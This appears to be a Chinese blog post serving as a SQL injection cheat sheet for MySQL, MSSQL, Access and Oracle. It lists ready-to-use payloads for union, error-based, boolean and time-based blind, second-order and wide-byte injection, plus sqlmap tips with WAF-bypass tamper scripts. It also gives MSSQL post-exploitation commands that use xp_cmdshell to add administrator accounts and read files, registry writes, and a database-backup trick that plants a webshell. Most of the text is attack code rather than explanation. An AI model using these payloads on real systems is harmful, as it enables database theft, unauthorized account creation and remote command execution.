CASE WHEN 语法有两种情况:
第一种是CASE 后面不带表达式的;
        CASE WHEN expression THEN 操作1
        WHEN expression THEN 操作2
        .......
        ELSE 操作n
        END
第二种是CASE 后面带表达式的(而此时WHEN 后面的则是该表达式可能的值),通用。
        CASE expression
        WHEN expression值1 THEN 操作1
        WHEN expression值2 THEN 操作2
        .......
        ELSE 操作n
        END

注入的时候,判断注入

        ;and 1=1
        ;and 1=2
http://site/script?id=10
http://site/script?id=11-1            # 相当于 id=10
http://site/script?id=(select 10)     # 相当于 id=10
http://site/script?id=10 and 1=1      # 失败

通过判断可以发现 and 和 or 被过滤
http://site/script?id=10--       # 失败
http://site/script?id=10;--      # 失败
http://site/script?id=10);--     # 失败
http://site/script?id=10)subquery;-- # 失败

http://host/script?id=11-(case when 1=1 then 1 else 0 end)  #用1=1跟1=2测试
http://host/script?id=10 # 当条件为真的时候
http://host/script?id=11 # 当条件为假的时候
可以很明显的看到返回不同,然后可以判断注入。那么怎么能让sqlmap去识别呢?
Sqlmap 默认是自己寻找注入点的,但是你加上一个*可以引导他。
语句:sqlmap.py -u "http://host/script?id=11-(case when 1=1* then 1)"

注入最头痛的就是遇到过滤,sqlmap 提供了字符转换的功能 --tamper=between

当然自己可以改写转换内容,文件在 /tamper 目录下。

关于 post 注入 sqlmap 可以用 -r 参数 加载数据包:sqlmap.py -r post.txt

having xor 等逻辑符号也可以判断注入。

收集了一些利用 Sqlmap 做注入测试的 TIPS,其中也包含一点绕WAF的技巧。

2.初步判断是否是mssql
        ;and user>0

3.判断数据库系统
        ;and (select count(*) from sysobjects)>0 mssql
        ;and (select count(*) from msysobjects)>0 access

4.注入参数是字符
        'and [查询条件] and ''='

5.搜索时没过滤参数的
        'and [查询条件] and '%25'='

6.猜数据库
        ;and (select Count(*) from [数据库名])>0

7.猜字段
        ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度
        ;and (select top 1 len(字段名) from 数据库名)>0

9.  (1)猜字段的ascii值(access)
        ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
    (2)猜字段的ascii值(mssql)
        ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
        ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
        ;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
        ;exec master.dbo.sp_addlogin username;--
        ;exec master.dbo.sp_password null,username,password;--
        ;exec master.dbo.sp_addsrvrolemember sysadmin username;--
        ;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
        ;exec master.dbo.xp_cmdshell 'net user username password /add';--
        ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录
        ;create table dirs(paths varchar(100), id int)
        ;insert dirs exec master.dbo.xp_dirtree 'c:\'
        ;and (select top 1 paths from dirs)>0
        ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
    (2)遍历目录
        ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
        ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
        ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
        ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
        ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程
        xp_regenumvalues 注册表根键, 子键
        ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
        xp_regread 根键,子键,键值名
        ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
        xp_regwrite 根键,子键, 值名, 值类型, 值
        值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
        ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
        xp_regdeletevalue 根键,子键,值名
        exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
        xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
        use model
        create table cmd(str image);
        insert into cmd(str) values ('');
        backup database model to disk='c:\l.asp';

15.mssql内置函数
        ;and (select @@version)>0 获得Windows的版本号
        ;and user_name()='dbo' 判断当前系统的连接用户是不是sa
        ;and (select user_name())>0 爆当前系统的连接用户
        ;and (select db_name())>0 得到当前连接的数据库


16.简洁的 webshell
        use model
        create table cmd(str image);
        insert into cmd(str) values ('');
        backup database model to disk='g:\wwwtest\l.asp';

        请求的时候,像这样子用:
        http://ip/l.asp?c=dir

联合注入

?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

报错注入

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
 
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
 
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
 
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
 
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
 
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
 
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

每个一个报错语句都有它的原理:
exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。
updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:

substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +

时间盲注

时间盲注也叫延时注入,一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)。一般时间盲注我们还需要使用条件判断函数

#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left

我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

布尔盲注

?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

insert、delete、update

insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入

报错

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec) 
mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    1 | and 1=1                                       | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)  
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'  
#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

盲注

#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)
#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)
# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)
#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | admin    | admin    |
+------+----------+----------+
4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4  Changed: 4  Warnings: 0

二次注入与宽字节注入

二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码它,这样就不会带有单引号等。

mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)  
mysql> select * from admin;
+----+-----------+-------+
| id | name      | pass  |
+----+-----------+-------+
|  1 | admin     | admin |
|  2 | admin'111 | 11111 |
|  3 | admin'--+ | 11    |
+----+-----------+-------+
4 rows in set (0.00 sec)

二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin'--+ 误认为 admin 账户

宽字节注入:针对目标做了一定的防护,单引号转变为 \' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入

id=-1%df' union select... 
#没使用宽字节
%27 -> %5C%27

#使用宽字节
%df%27 -> %df%5c%27 -> 運'

Oracle 手工注入

联合注入

?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

布尔盲注

既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);

该函数的含义如下:

IF 条件=值1 THEN
    RETURN(返回值1)
ELSIF 条件=值2 THEN
    RETURN(返回值2)
    ......
ELSIF 条件=值n THEN
    RETURN(返回值n)
ELSE
    RETURN(缺省值)
END IF

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64--  #二分法

SQL server 手工注入

联合注入

?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

报错注入

?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

布尔盲注

?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--

时间盲注

?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'--

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值